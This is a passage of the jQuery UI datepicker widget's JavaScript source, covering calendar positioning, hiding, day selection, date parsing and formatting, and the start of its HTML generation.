883 inst.dpDiv.removeClass( "ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4" ).width( "" );
884 if ( cols > 1 ) {
885 inst.dpDiv.addClass( "ui-datepicker-multi-" + cols ).css( "width", ( width * cols ) + "em" );
886 }
887 inst.dpDiv[ ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ? "add" : "remove" ) +
888 "Class" ]( "ui-datepicker-multi" );
889 inst.dpDiv[ ( this._get( inst, "isRTL" ) ? "add" : "remove" ) +
890 "Class" ]( "ui-datepicker-rtl" );
891
892 if ( inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) {
893 inst.input.trigger( "focus" );
894 }
895
896 // Deffered render of the years select (to avoid flashes on Firefox)
897 if ( inst.yearshtml ) {
898 origyearshtml = inst.yearshtml;
899 setTimeout( function() {
900
901 //assure that inst.yearshtml didn't change.
902 if ( origyearshtml === inst.yearshtml && inst.yearshtml ) {
903 inst.dpDiv.find( "select.ui-datepicker-year" ).first().replaceWith( inst.yearshtml );
904 }
905 origyearshtml = inst.yearshtml = null;
906 }, 0 );
907 }
908
909 if ( onUpdateDatepicker ) {
910 onUpdateDatepicker.apply( ( inst.input ? inst.input[ 0 ] : null ), [ inst ] );
911 }
912 },
913
914 // #6694 - don't focus the input if it's already focused
915 // this breaks the change event in IE
916 // Support: IE and jQuery <1.9
917 _shouldFocusInput: function( inst ) {
918 return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" );
919 },
920
921 /* Check positioning to remain on screen. */
922 _checkOffset: function( inst, offset, isFixed ) {
923 var dpWidth = inst.dpDiv.outerWidth(),
924 dpHeight = inst.dpDiv.outerHeight(),
925 inputWidth = inst.input ? inst.input.outerWidth() : 0,
926 inputHeight = inst.input ? inst.input.outerHeight() : 0,
927 viewWidth = document.documentElement.clientWidth + ( isFixed ? 0 : $( document ).scrollLeft() ),
928 viewHeight = document.documentElement.clientHeight + ( isFixed ? 0 : $( document ).scrollTop() );
929
930 offset.left -= ( this._get( inst, "isRTL" ) ? ( dpWidth - inputWidth ) : 0 );
931 offset.left -= ( isFixed && offset.left === inst.input.offset().left ) ? $( document ).scrollLeft() : 0;
932 offset.top -= ( isFixed && offset.top === ( inst.input.offset().top + inputHeight ) ) ? $( document ).scrollTop() : 0;
933
934 // Now check if datepicker is showing outside window viewport - move to a better place if so.
935 offset.left -= Math.min( offset.left, ( offset.left + dpWidth > viewWidth && viewWidth > dpWidth ) ?
936 Math.abs( offset.left + dpWidth - viewWidth ) : 0 );
937 offset.top -= Math.min( offset.top, ( offset.top + dpHeight > viewHeight && viewHeight > dpHeight ) ?
938 Math.abs( dpHeight + inputHeight ) : 0 );
939
940 return offset;
941 },
942
943 /* Find an object's position on the screen. */
944 _findPos: function( obj ) {
945 var position,
946 inst = this._getInst( obj ),
947 isRTL = this._get( inst, "isRTL" );
948
949 while ( obj && ( obj.type === "hidden" || obj.nodeType !== 1 || $.expr.pseudos.hidden( obj ) ) ) {
950 obj = obj[ isRTL ? "previousSibling" : "nextSibling" ];
951 }
952
953 position = $( obj ).offset();
954 return [ position.left, position.top ];
955 },
956
957 /* Hide the date picker from view.
958 * @param input element - the input field attached to the date picker
959 */
960 _hideDatepicker: function( input ) {
961 var showAnim, duration, postProcess, onClose,
962 inst = this._curInst;
963
964 if ( !inst || ( input && inst !== $.data( input, "datepicker" ) ) ) {
965 return;
966 }
967
968 if ( this._datepickerShowing ) {
969 showAnim = this._get( inst, "showAnim" );
970 duration = this._get( inst, "duration" );
971 postProcess = function() {
972 $.datepicker._tidyDialog( inst );
973 };
974
975 // DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
976 if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) {
977 inst.dpDiv.hide( showAnim, $.datepicker._get( inst, "showOptions" ), duration, postProcess );
978 } else {
979 inst.dpDiv[ ( showAnim === "slideDown" ? "slideUp" :
980 ( showAnim === "fadeIn" ? "fadeOut" : "hide" ) ) ]( ( showAnim ? duration : null ), postProcess );
981 }
982
983 if ( !showAnim ) {
984 postProcess();
985 }
986 this._datepickerShowing = false;
987
988 onClose = this._get( inst, "onClose" );
989 if ( onClose ) {
990 onClose.apply( ( inst.input ? inst.input[ 0 ] : null ), [ ( inst.input ? inst.input.val() : "" ), inst ] );
991 }
992
993 this._lastInput = null;
994 if ( this._inDialog ) {
995 this._dialogInput.css( { position: "absolute", left: "0", top: "-100px" } );
996 if ( $.blockUI ) {
997 $.unblockUI();
998 $( "body" ).append( this.dpDiv );
999 }
1000 }
1001 this._inDialog = false;
1002 }
1003 },
1004
1005 /* Tidy up after a dialog display. */
1006 _tidyDialog: function( inst ) {
1007 inst.dpDiv.removeClass( this._dialogClass ).off( ".ui-datepicker-calendar" );
1008 },
1009
1010 /* Close date picker if clicked elsewhere. */
1011 _checkExternalClick: function( event ) {
1012 if ( !$.datepicker._curInst ) {
1013 return;
1014 }
1015
1016 var $target = $( event.target ),
1017 inst = $.datepicker._getInst( $target[ 0 ] );
1018
1019 if ( ( ( $target[ 0 ].id !== $.datepicker._mainDivId &&
1020 $target.parents( "#" + $.datepicker._mainDivId ).length === 0 &&
1021 !$target.hasClass( $.datepicker.markerClassName ) &&
1022 !$target.closest( "." + $.datepicker._triggerClass ).length &&
1023 $.datepicker._datepickerShowing && !( $.datepicker._inDialog && $.blockUI ) ) ) ||
1024 ( $target.hasClass( $.datepicker.markerClassName ) && $.datepicker._curInst !== inst ) ) {
1025 $.datepicker._hideDatepicker();
1026 }
1027 },
1028
1029 /* Adjust one of the date sub-fields. */
1030 _adjustDate: function( id, offset, period ) {
1031 var target = $( id ),
1032 inst = this._getInst( target[ 0 ] );
1033
1034 if ( this._isDisabledDatepicker( target[ 0 ] ) ) {
1035 return;
1036 }
1037 this._adjustInstDate( inst, offset, period );
1038 this._updateDatepicker( inst );
1039 },
1040
1041 /* Action for current link. */
1042 _gotoToday: function( id ) {
1043 var date,
1044 target = $( id ),
1045 inst = this._getInst( target[ 0 ] );
1046
1047 if ( this._get( inst, "gotoCurrent" ) && inst.currentDay ) {
1048 inst.selectedDay = inst.currentDay;
1049 inst.drawMonth = inst.selectedMonth = inst.currentMonth;
1050 inst.drawYear = inst.selectedYear = inst.currentYear;
1051 } else {
1052 date = new Date();
1053 inst.selectedDay = date.getDate();
1054 inst.drawMonth = inst.selectedMonth = date.getMonth();
1055 inst.drawYear = inst.selectedYear = date.getFullYear();
1056 }
1057 this._notifyChange( inst );
1058 this._adjustDate( target );
1059 },
1060
1061 /* Action for selecting a new month/year. */
1062 _selectMonthYear: function( id, select, period ) {
1063 var target = $( id ),
1064 inst = this._getInst( target[ 0 ] );
1065
1066 inst[ "selected" + ( period === "M" ? "Month" : "Year" ) ] =
1067 inst[ "draw" + ( period === "M" ? "Month" : "Year" ) ] =
1068 parseInt( select.options[ select.selectedIndex ].value, 10 );
1069
1070 this._notifyChange( inst );
1071 this._adjustDate( target );
1072 },
1073
1074 /* Action for selecting a day. */
1075 _selectDay: function( id, month, year, td ) {
1076 var inst,
1077 target = $( id );
1078
1079 if ( $( td ).hasClass( this._unselectableClass ) || this._isDisabledDatepicker( target[ 0 ] ) ) {
1080 return;
1081 }
1082
1083 inst = this._getInst( target[ 0 ] );
1084 inst.selectedDay = inst.currentDay = parseInt( $( "a", td ).attr( "data-date" ) );
1085 inst.selectedMonth = inst.currentMonth = month;
1086 inst.selectedYear = inst.currentYear = year;
1087 this._selectDate( id, this._formatDate( inst,
1088 inst.currentDay, inst.currentMonth, inst.currentYear ) );
1089 },
1090
1091 /* Erase the input field and hide the date picker. */
1092 _clearDate: function( id ) {
1093 var target = $( id );
1094 this._selectDate( target, "" );
1095 },
1096
1097 /* Update the input field with the selected date. */
1098 _selectDate: function( id, dateStr ) {
1099 var onSelect,
1100 target = $( id ),
1101 inst = this._getInst( target[ 0 ] );
1102
1103 dateStr = ( dateStr != null ? dateStr : this._formatDate( inst ) );
1104 if ( inst.input ) {
1105 inst.input.val( dateStr );
1106 }
1107 this._updateAlternate( inst );
1108
1109 onSelect = this._get( inst, "onSelect" );
1110 if ( onSelect ) {
1111 onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); // trigger custom callback
1112 } else if ( inst.input ) {
1113 inst.input.trigger( "change" ); // fire the change event
1114 }
1115
1116 if ( inst.inline ) {
1117 this._updateDatepicker( inst );
1118 } else {
1119 this._hideDatepicker();
1120 this._lastInput = inst.input[ 0 ];
1121 if ( typeof( inst.input[ 0 ] ) !== "object" ) {
1122 inst.input.trigger( "focus" ); // restore focus
1123 }
1124 this._lastInput = null;
1125 }
1126 },
1127
1128 /* Update any alternate field to synchronise with the main field. */
1129 _updateAlternate: function( inst ) {
1130 var altFormat, date, dateStr,
1131 altField = this._get( inst, "altField" );
1132
1133 if ( altField ) { // update alternate field too
1134 altFormat = this._get( inst, "altFormat" ) || this._get( inst, "dateFormat" );
1135 date = this._getDate( inst );
1136 dateStr = this.formatDate( altFormat, date, this._getFormatConfig( inst ) );
1137 $( document ).find( altField ).val( dateStr );
1138 }
1139 },
1140
1141 /* Set as beforeShowDay function to prevent selection of weekends.
1142 * @param date Date - the date to customise
1143 * @return [boolean, string] - is this date selectable?, what is its CSS class?
1144 */
1145 noWeekends: function( date ) {
1146 var day = date.getDay();
1147 return [ ( day > 0 && day < 6 ), "" ];
1148 },
1149
1150 /* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
1151 * @param date Date - the date to get the week for
1152 * @return number - the number of the week within the year that contains this date
1153 */
1154 iso8601Week: function( date ) {
1155 var time,
1156 checkDate = new Date( date.getTime() );
1157
1158 // Find Thursday of this week starting on Monday
1159 checkDate.setDate( checkDate.getDate() + 4 - ( checkDate.getDay() || 7 ) );
1160
1161 time = checkDate.getTime();
1162 checkDate.setMonth( 0 ); // Compare with Jan 1
1163 checkDate.setDate( 1 );
1164 return Math.floor( Math.round( ( time - checkDate ) / 86400000 ) / 7 ) + 1;
1165 },
1166
1167 /* Parse a string value into a date object.
1168 * See formatDate below for the possible formats.
1169 *
1170 * @param format string - the expected format of the date
1171 * @param value string - the date in the above format
1172 * @param settings Object - attributes include:
1173 * shortYearCutoff number - the cutoff year for determining the century (optional)
1174 * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
1175 * dayNames string[7] - names of the days from Sunday (optional)
1176 * monthNamesShort string[12] - abbreviated names of the months (optional)
1177 * monthNames string[12] - names of the months (optional)
1178 * @return Date - the extracted date value or null if value is blank
1179 */
1180 parseDate: function( format, value, settings ) {
1181 if ( format == null || value == null ) {
1182 throw "Invalid arguments";
1183 }
1184
1185 value = ( typeof value === "object" ? value.toString() : value + "" );
1186 if ( value === "" ) {
1187 return null;
1188 }
1189
1190 var iFormat, dim, extra,
1191 iValue = 0,
1192 shortYearCutoffTemp = ( settings ? settings.shortYearCutoff : null ) || this._defaults.shortYearCutoff,
1193 shortYearCutoff = ( typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp :
1194 new Date().getFullYear() % 100 + parseInt( shortYearCutoffTemp, 10 ) ),
1195 dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort,
1196 dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames,
1197 monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort,
1198 monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames,
1199 year = -1,
1200 month = -1,
1201 day = -1,
1202 doy = -1,
1203 literal = false,
1204 date,
1205
1206 // Check whether a format character is doubled
1207 lookAhead = function( match ) {
1208 var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
1209 if ( matches ) {
1210 iFormat++;
1211 }
1212 return matches;
1213 },
1214
1215 // Extract a number from the string value
1216 getNumber = function( match ) {
1217 var isDoubled = lookAhead( match ),
1218 size = ( match === "@" ? 14 : ( match === "!" ? 20 :
1219 ( match === "y" && isDoubled ? 4 : ( match === "o" ? 3 : 2 ) ) ) ),
1220 minSize = ( match === "y" ? size : 1 ),
1221 digits = new RegExp( "^\\d{" + minSize + "," + size + "}" ),
1222 num = value.substring( iValue ).match( digits );
1223 if ( !num ) {
1224 throw "Missing number at position " + iValue;
1225 }
1226 iValue += num[ 0 ].length;
1227 return parseInt( num[ 0 ], 10 );
1228 },
1229
1230 // Extract a name from the string value and convert to an index
1231 getName = function( match, shortNames, longNames ) {
1232 var index = -1,
1233 names = $.map( lookAhead( match ) ? longNames : shortNames, function( v, k ) {
1234 return [ [ k, v ] ];
1235 } ).sort( function( a, b ) {
1236 return -( a[ 1 ].length - b[ 1 ].length );
1237 } );
1238
1239 $.each( names, function( i, pair ) {
1240 var name = pair[ 1 ];
1241 if ( value.substr( iValue, name.length ).toLowerCase() === name.toLowerCase() ) {
1242 index = pair[ 0 ];
1243 iValue += name.length;
1244 return false;
1245 }
1246 } );
1247 if ( index !== -1 ) {
1248 return index + 1;
1249 } else {
1250 throw "Unknown name at position " + iValue;
1251 }
1252 },
1253
1254 // Confirm that a literal character matches the string value
1255 checkLiteral = function() {
1256 if ( value.charAt( iValue ) !== format.charAt( iFormat ) ) {
1257 throw "Unexpected literal at position " + iValue;
1258 }
1259 iValue++;
1260 };
1261
1262 for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
1263 if ( literal ) {
1264 if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
1265 literal = false;
1266 } else {
1267 checkLiteral();
1268 }
1269 } else {
1270 switch ( format.charAt( iFormat ) ) {
1271 case "d":
1272 day = getNumber( "d" );
1273 break;
1274 case "D":
1275 getName( "D", dayNamesShort, dayNames );
1276 break;
1277 case "o":
1278 doy = getNumber( "o" );
1279 break;
1280 case "m":
1281 month = getNumber( "m" );
1282 break;
1283 case "M":
1284 month = getName( "M", monthNamesShort, monthNames );
1285 break;
1286 case "y":
1287 year = getNumber( "y" );
1288 break;
1289 case "@":
1290 date = new Date( getNumber( "@" ) );
1291 year = date.getFullYear();
1292 month = date.getMonth() + 1;
1293 day = date.getDate();
1294 break;
1295 case "!":
1296 date = new Date( ( getNumber( "!" ) - this._ticksTo1970 ) / 10000 );
1297 year = date.getFullYear();
1298 month = date.getMonth() + 1;
1299 day = date.getDate();
1300 break;
1301 case "'":
1302 if ( lookAhead( "'" ) ) {
1303 checkLiteral();
1304 } else {
1305 literal = true;
1306 }
1307 break;
1308 default:
1309 checkLiteral();
1310 }
1311 }
1312 }
1313
1314 if ( iValue < value.length ) {
1315 extra = value.substr( iValue );
1316 if ( !/^\s+/.test( extra ) ) {
1317 throw "Extra/unparsed characters found in date: " + extra;
1318 }
1319 }
1320
1321 if ( year === -1 ) {
1322 year = new Date().getFullYear();
1323 } else if ( year < 100 ) {
1324 year += new Date().getFullYear() - new Date().getFullYear() % 100 +
1325 ( year <= shortYearCutoff ? 0 : -100 );
1326 }
1327
1328 if ( doy > -1 ) {
1329 month = 1;
1330 day = doy;
1331 do {
1332 dim = this._getDaysInMonth( year, month - 1 );
1333 if ( day <= dim ) {
1334 break;
1335 }
1336 month++;
1337 day -= dim;
1338 } while ( true );
1339 }
1340
1341 date = this._daylightSavingAdjust( new Date( year, month - 1, day ) );
1342 if ( date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day ) {
1343 throw "Invalid date"; // E.g. 31/02/00
1344 }
1345 return date;
1346 },
1347
1348 /* Standard date formats. */
1349 ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601)
1350 COOKIE: "D, dd M yy",
1351 ISO_8601: "yy-mm-dd",
1352 RFC_822: "D, d M y",
1353 RFC_850: "DD, dd-M-y",
1354 RFC_1036: "D, d M y",
1355 RFC_1123: "D, d M yy",
1356 RFC_2822: "D, d M yy",
1357 RSS: "D, d M y", // RFC 822
1358 TICKS: "!",
1359 TIMESTAMP: "@",
1360 W3C: "yy-mm-dd", // ISO 8601
1361
1362 _ticksTo1970: ( ( ( 1970 - 1 ) * 365 + Math.floor( 1970 / 4 ) - Math.floor( 1970 / 100 ) +
1363 Math.floor( 1970 / 400 ) ) * 24 * 60 * 60 * 10000000 ),
1364
1365 /* Format a date object into a string value.
1366 * The format can be combinations of the following:
1367 * d - day of month (no leading zero)
1368 * dd - day of month (two digit)
1369 * o - day of year (no leading zeros)
1370 * oo - day of year (three digit)
1371 * D - day name short
1372 * DD - day name long
1373 * m - month of year (no leading zero)
1374 * mm - month of year (two digit)
1375 * M - month name short
1376 * MM - month name long
1377 * y - year (two digit)
1378 * yy - year (four digit)
1379 * @ - Unix timestamp (ms since 01/01/1970)
1380 * ! - Windows ticks (100ns since 01/01/0001)
1381 * "..." - literal text
1382 * '' - single quote
1383 *
1384 * @param format string - the desired format of the date
1385 * @param date Date - the date value to format
1386 * @param settings Object - attributes include:
1387 * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
1388 * dayNames string[7] - names of the days from Sunday (optional)
1389 * monthNamesShort string[12] - abbreviated names of the months (optional)
1390 * monthNames string[12] - names of the months (optional)
1391 * @return string - the date in the above format
1392 */
1393 formatDate: function( format, date, settings ) {
1394 if ( !date ) {
1395 return "";
1396 }
1397
1398 var iFormat,
1399 dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort,
1400 dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames,
1401 monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort,
1402 monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames,
1403
1404 // Check whether a format character is doubled
1405 lookAhead = function( match ) {
1406 var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
1407 if ( matches ) {
1408 iFormat++;
1409 }
1410 return matches;
1411 },
1412
1413 // Format a number, with leading zero if necessary
1414 formatNumber = function( match, value, len ) {
1415 var num = "" + value;
1416 if ( lookAhead( match ) ) {
1417 while ( num.length < len ) {
1418 num = "0" + num;
1419 }
1420 }
1421 return num;
1422 },
1423
1424 // Format a name, short or long as requested
1425 formatName = function( match, value, shortNames, longNames ) {
1426 return ( lookAhead( match ) ? longNames[ value ] : shortNames[ value ] );
1427 },
1428 output = "",
1429 literal = false;
1430
1431 if ( date ) {
1432 for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
1433 if ( literal ) {
1434 if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
1435 literal = false;
1436 } else {
1437 output += format.charAt( iFormat );
1438 }
1439 } else {
1440 switch ( format.charAt( iFormat ) ) {
1441 case "d":
1442 output += formatNumber( "d", date.getDate(), 2 );
1443 break;
1444 case "D":
1445 output += formatName( "D", date.getDay(), dayNamesShort, dayNames );
1446 break;
1447 case "o":
1448 output += formatNumber( "o",
1449 Math.round( ( new Date( date.getFullYear(), date.getMonth(), date.getDate() ).getTime() - new Date( date.getFullYear(), 0, 0 ).getTime() ) / 86400000 ), 3 );
1450 break;
1451 case "m":
1452 output += formatNumber( "m", date.getMonth() + 1, 2 );
1453 break;
1454 case "M":
1455 output += formatName( "M", date.getMonth(), monthNamesShort, monthNames );
1456 break;
1457 case "y":
1458 output += ( lookAhead( "y" ) ? date.getFullYear() :
1459 ( date.getFullYear() % 100 < 10 ? "0" : "" ) + date.getFullYear() % 100 );
1460 break;
1461 case "@":
1462 output += date.getTime();
1463 break;
1464 case "!":
1465 output += date.getTime() * 10000 + this._ticksTo1970;
1466 break;
1467 case "'":
1468 if ( lookAhead( "'" ) ) {
1469 output += "'";
1470 } else {
1471 literal = true;
1472 }
1473 break;
1474 default:
1475 output += format.charAt( iFormat );
1476 }
1477 }
1478 }
1479 }
1480 return output;
1481 },
1482
1483 /* Extract all possible characters from the date format. */
1484 _possibleChars: function( format ) {
1485 var iFormat,
1486 chars = "",
1487 literal = false,
1488
1489 // Check whether a format character is doubled
1490 lookAhead = function( match ) {
1491 var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match );
1492 if ( matches ) {
1493 iFormat++;
1494 }
1495 return matches;
1496 };
1497
1498 for ( iFormat = 0; iFormat < format.length; iFormat++ ) {
1499 if ( literal ) {
1500 if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) {
1501 literal = false;
1502 } else {
1503 chars += format.charAt( iFormat );
1504 }
1505 } else {
1506 switch ( format.charAt( iFormat ) ) {
1507 case "d": case "m": case "y": case "@":
1508 chars += "0123456789";
1509 break;
1510 case "D": case "M":
1511 return null; // Accept anything
1512 case "'":
1513 if ( lookAhead( "'" ) ) {
1514 chars += "'";
1515 } else {
1516 literal = true;
1517 }
1518 break;
1519 default:
1520 chars += format.charAt( iFormat );
1521 }
1522 }
1523 }
1524 return chars;
1525 },
1526
1527 /* Get a setting value, defaulting if necessary. */
1528 _get: function( inst, name ) {
1529 return inst.settings[ name ] !== undefined ?
1530 inst.settings[ name ] : this._defaults[ name ];
1531 },
1532
1533 /* Parse existing date and initialise date picker. */
1534 _setDateFromField: function( inst, noDefault ) {
1535 if ( inst.input.val() === inst.lastVal ) {
1536 return;
1537 }
1538
1539 var dateFormat = this._get( inst, "dateFormat" ),
1540 dates = inst.lastVal = inst.input ? inst.input.val() : null,
1541 defaultDate = this._getDefaultDate( inst ),
1542 date = defaultDate,
1543 settings = this._getFormatConfig( inst );
1544
1545 try {
1546 date = this.parseDate( dateFormat, dates, settings ) || defaultDate;
1547 } catch ( event ) {
1548 dates = ( noDefault ? "" : dates );
1549 }
1550 inst.selectedDay = date.getDate();
1551 inst.drawMonth = inst.selectedMonth = date.getMonth();
1552 inst.drawYear = inst.selectedYear = date.getFullYear();
1553 inst.currentDay = ( dates ? date.getDate() : 0 );
1554 inst.currentMonth = ( dates ? date.getMonth() : 0 );
1555 inst.currentYear = ( dates ? date.getFullYear() : 0 );
1556 this._adjustInstDate( inst );
1557 },
1558
1559 /* Retrieve the default date shown on opening. */
1560 _getDefaultDate: function( inst ) {
1561 return this._restrictMinMax( inst,
1562 this._determineDate( inst, this._get( inst, "defaultDate" ), new Date() ) );
1563 },
1564
1565 /* A date may be specified as an exact value or a relative one. */
1566 _determineDate: function( inst, date, defaultDate ) {
1567 var offsetNumeric = function( offset ) {
1568 var date = new Date();
1569 date.setDate( date.getDate() + offset );
1570 return date;
1571 },
1572 offsetString = function( offset ) {
1573 try {
1574 return $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ),
1575 offset, $.datepicker._getFormatConfig( inst ) );
1576 } catch ( e ) {
1577
1578 // Ignore
1579 }
1580
1581 var date = ( offset.toLowerCase().match( /^c/ ) ?
1582 $.datepicker._getDate( inst ) : null ) || new Date(),
1583 year = date.getFullYear(),
1584 month = date.getMonth(),
1585 day = date.getDate(),
1586 pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,
1587 matches = pattern.exec( offset );
1588
1589 while ( matches ) {
1590 switch ( matches[ 2 ] || "d" ) {
1591 case "d" : case "D" :
1592 day += parseInt( matches[ 1 ], 10 ); break;
1593 case "w" : case "W" :
1594 day += parseInt( matches[ 1 ], 10 ) * 7; break;
1595 case "m" : case "M" :
1596 month += parseInt( matches[ 1 ], 10 );
1597 day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) );
1598 break;
1599 case "y": case "Y" :
1600 year += parseInt( matches[ 1 ], 10 );
1601 day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) );
1602 break;
1603 }
1604 matches = pattern.exec( offset );
1605 }
1606 return new Date( year, month, day );
1607 },
1608 newDate = ( date == null || date === "" ? defaultDate : ( typeof date === "string" ? offsetString( date ) :
1609 ( typeof date === "number" ? ( isNaN( date ) ? defaultDate : offsetNumeric( date ) ) : new Date( date.getTime() ) ) ) );
1610
1611 newDate = ( newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate );
1612 if ( newDate ) {
1613 newDate.setHours( 0 );
1614 newDate.setMinutes( 0 );
1615 newDate.setSeconds( 0 );
1616 newDate.setMilliseconds( 0 );
1617 }
1618 return this._daylightSavingAdjust( newDate );
1619 },
1620
1621 /* Handle switch to/from daylight saving.
1622 * Hours may be non-zero on daylight saving cut-over:
1623 * > 12 when midnight changeover, but then cannot generate
1624 * midnight datetime, so jump to 1AM, otherwise reset.
1625 * @param date (Date) the date to check
1626 * @return (Date) the corrected date
1627 */
1628 _daylightSavingAdjust: function( date ) {
1629 if ( !date ) {
1630 return null;
1631 }
1632 date.setHours( date.getHours() > 12 ? date.getHours() + 2 : 0 );
1633 return date;
1634 },
1635
1636 /* Set the date(s) directly. */
1637 _setDate: function( inst, date, noChange ) {
1638 var clear = !date,
1639 origMonth = inst.selectedMonth,
1640 origYear = inst.selectedYear,
1641 newDate = this._restrictMinMax( inst, this._determineDate( inst, date, new Date() ) );
1642
1643 inst.selectedDay = inst.currentDay = newDate.getDate();
1644 inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth();
1645 inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear();
1646 if ( ( origMonth !== inst.selectedMonth || origYear !== inst.selectedYear ) && !noChange ) {
1647 this._notifyChange( inst );
1648 }
1649 this._adjustInstDate( inst );
1650 if ( inst.input ) {
1651 inst.input.val( clear ? "" : this._formatDate( inst ) );
1652 }
1653 },
1654
1655 /* Retrieve the date(s) directly. */
1656 _getDate: function( inst ) {
1657 var startDate = ( !inst.currentYear || ( inst.input && inst.input.val() === "" ) ? null :
1658 this._daylightSavingAdjust( new Date(
1659 inst.currentYear, inst.currentMonth, inst.currentDay ) ) );
1660 return startDate;
1661 },
1662
1663 /* Attach the onxxx handlers. These are declared statically so
1664 * they work with static code transformers like Caja.
1665 */
1666 _attachHandlers: function( inst ) {
1667 var stepMonths = this._get( inst, "stepMonths" ),
1668 id = "#" + inst.id.replace( /\\\\/g, "\\" );
1669 inst.dpDiv.find( "[data-handler]" ).map( function() {
1670 var handler = {
1671 prev: function() {
1672 $.datepicker._adjustDate( id, -stepMonths, "M" );
1673 },
1674 next: function() {
1675 $.datepicker._adjustDate( id, +stepMonths, "M" );
1676 },
1677 hide: function() {
1678 $.datepicker._hideDatepicker();
1679 },
1680 today: function() {
1681 $.datepicker._gotoToday( id );
1682 },
1683 selectDay: function() {
1684 $.datepicker._selectDay( id, +this.getAttribute( "data-month" ), +this.getAttribute( "data-year" ), this );
1685 return false;
1686 },
1687 selectMonth: function() {
1688 $.datepicker._selectMonthYear( id, this, "M" );
1689 return false;
1690 },
1691 selectYear: function() {
1692 $.datepicker._selectMonthYear( id, this, "Y" );
1693 return false;
1694 }
1695 };
1696 $( this ).on( this.getAttribute( "data-event" ), handler[ this.getAttribute( "data-handler" ) ] );
1697 } );
1698 },
1699
1700 /* Generate the HTML for the current state of the date picker. */
1701 _generateHTML: function( inst ) {
1702 var maxDraw, prevText, prev, nextText, next, currentText, gotoDate,
1703 controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin,
1704 monthNames, monthNamesShort, beforeShowDay, showOtherMonths,
1705 selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate,
1706 cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows,
1707 printDate, dRow, tbody, daySettings, otherMonth, unselectable,
1708 tempDate = new Date(),
1709 today = this._daylightSavingAdjust(
1710 new Date( tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate() ) ), // clear time
1711 isRTL = this._get( inst, "isRTL" ),
1712 showButtonPanel = this._get( inst, "showButtonPanel" ),
1713 hideIfNoPrevNext = this._get( inst, "hideIfNoPrevNext" ),
1714 navigationAsDateFormat = this._get( inst, "navigationAsDateFormat" ),
1715 numMonths = this._getNumberOfMonths( inst ),
1716 showCurrentAtPos = this._get( inst, "showCurrentAtPos" ),
1717 stepMonths = this._get( inst, "stepMonths" ),
1718 isMultiMonth = ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ),
1719 currentDate = this._daylightSavingAdjust( ( !inst.currentDay ? new Date( 9999, 9, 9 ) :
1720 new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ),
1721 minDate = this._getMinMaxDate( inst, "min" ),
1722 maxDate = this._getMinMaxDate( inst, "max" ),
1723 drawMonth = inst.drawMonth - showCurrentAtPos,
1724 drawYear = inst.drawYear;
1725
1726 if ( drawMonth < 0 ) {
1727 drawMonth += 12;
1728 drawYear--;
1729 }
1730 if ( maxDate ) {
1731 maxDraw = this._daylightSavingAdjust( new Date( maxDate.getFullYear(),
1732 maxDate.getMonth() - ( numMonths[ 0 ] * numMonths[ 1 ] ) + 1, maxDate.getDate() ) );
1733 maxDraw = ( minDate && maxDraw < minDate ? minDate : maxDraw );
1734 while ( this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 ) ) > maxDraw ) {
1735 drawMonth--;
1736 if ( drawMonth < 0 ) {
1737 drawMonth = 11;
1738 drawYear--;
1739 }
1740 }
1741 }
1742 inst.drawMonth = drawMonth;
1743 inst.drawYear = drawYear;
1744
1745 prevText = this._get( inst, "prevText" );
1746 prevText = ( !navigationAsDateFormat ? prevText : this.formatDate( prevText,
1747 this._daylightSavingAdjust( new Date( drawYear, drawMonth - stepMonths, 1 ) ),
1748 this._getFormatConfig( inst ) ) );
1749
1750 if ( this._canAdjustMonth( inst, -1, drawYear, drawMonth ) ) {
1751 prev = $( "<a>" )
1752 .attr( {
1753 "class": "ui-datepicker-prev ui-corner-all",
1754 "data-handler": "prev",
1755 "data-event": "click",
1756 title: prevText
1757 } )
1758 .append(
1759 $( "<span>" )
1760 .addClass( "ui-icon ui-icon-circle-triangle-" +
1761 ( isRTL ? "e" : "w" ) )
1762 .text( prevText )
